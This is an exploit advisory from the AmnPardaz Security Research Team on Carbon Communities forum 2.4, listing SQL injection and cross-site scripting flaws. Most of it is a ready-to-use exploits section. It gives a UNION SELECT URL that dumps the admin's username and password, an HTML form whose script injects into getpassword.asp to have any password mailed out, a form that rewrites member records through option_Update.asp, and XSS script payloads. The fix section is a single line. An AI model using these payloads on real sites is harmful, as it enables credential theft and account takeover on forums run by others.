Carbon Communities 2.4 - Multiple Vulnerabilities

########################## www.BugReport.ir #######################################
#
#      AmnPardaz Security Research Team
#
# Title: Multiple Vulnerabilities in Carbon Communities forum.
# Vendor: www.carboncommunities.com
# Vulnerable Version: 2.4 and prior versions
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/35
###################################################################################


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1. Description:
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Carbon Communities is a high powered, fully scalable, and highly customizable online portal, message boards/ bulletin board, discussion hub, Private messaging, Event Calendars, Emails and chat software rolled into one.

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2. Vulnerability:
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    2.1. There is a SQL Injection in "events.asp?id=[Injection]". By using it, attacker can gain usernames and passwords.
        2.1.1. POC:
                Check exploits section.
    2.2. There is a SQL Injection in "getpassword.asp". By using it, attacker can send any password to his/her email address.(exploit available)
        2.2.1. POC:
                Check exploits section.
    2.3. There is a SQL Injection in "option_Update.asp". By using it, attacker can update member info.(exploit available)
        2.3.1. POC:
                Check exploits section.
    2.4. There are some XSS in "login.asp" and "member_send.asp".
        2.4.1. POC:
                /login.asp?Redirect='><script>alert('XSS')</script><fake a='
                /member_send.asp?OrderBy='><script>alert('XSS')</script><fake a='
####################
3. Exploits:
####################

 Original Exploit URL: http://bugreport.ir/index.php?/35/exploit

 3.1. Attacker can gain usernames and passwords:
    -------------
        http://[CarbonCommunitiesURL]/events.asp?ID=-1 union all select 1,1,1,'Username= '%2bmember_name%2b'<br>Password= '%2bmember_password,1,1,1,1,1,1,1 from tbl_Members where member_name = 'admin'
    -------------
 3.2. Attacker can send any password to his/her email address:
     -------------
        <script language="javascript">
            function check(){
                document.getElementById("UserName").value = "1' or uCase(Member_Name)='"+ document.getElementById("UserName").value
            }
        </script>
        <form action="http://[CarbonCommunitiesURL]/getpassword.asp" method="post" onsubmit="check()">
        UserName: <input type="text" name="UserName" id="UserName" value="default" size="100" />
        <br />
        EMail: <input type="text" name="EMail" value="Your Email Address" size="100" />
        <br />
        <input type="submit" />
        </form>
    -------------
 3.3. Attacker can update member info.:
    -------------
        <form action="http://[CarbonCommunitiesURL]/option_Update.asp?Action=edit" method="post">
        ID<input type="text" name="ID" value="1"/>
        <br />
        Member_Cookies<input type="text" name="Member_Cookies" value="Yes" />
        <br />
        Member_SystemCookies<input type="text" name="Member_SystemCookies" value="Yes" />
        <br />
        Member_Center<input type="text" name="Member_Center" value="1" />
        <br />
        Member_EmailTheadResponse<input type="text" name="Member_EmailTheadResponse" value="1" />
        <br />
        Member_EmailPostResponse<input type="text" name="Member_EmailPostResponse" value="1" />
        <br />
        Member_WeekStart<input type="text" name="Member_WeekStart" value="0" />
        <br />
        Member_ThreadDays<input type="text" name="Member_ThreadDays" value="0" />
        <br />
        Member_ThreadView<input type="text" name="Member_ThreadView" value="0" />
        <br />
        Member_Invisible<input type="text" name="Member_Invisible" value="1" />
        <br />
        Member_HiddenEmail<input type="text" name="Member_HiddenEmail" value="0" />
        <br />
        Member_ReceivePM<input type="text" name="Member_ReceivePM" value="1" />
        <br />
        Member_PMEmailNotice<input type="text" name="Member_PMEmailNotice" value="1" />
        <br />
        Member_PMPopup<input type="text" name="Member_PMPopup" value="1" />
        <br />
        Member_Newsletter<input type="text" name="Member_Newsletter" value="0" />
        <br />
        Member_TimeZone<input type="text" name="Member_TimeZone" value="0" />
        <br />
        Member_DefaultColor<input type="text" name="Member_DefaultColor" value="1" />
        <br />
        <input type="submit" />
        </form>
    -------------
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4. Solution:
####################
    Edit the source code to ensure that inputs are properly sanitised.
####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
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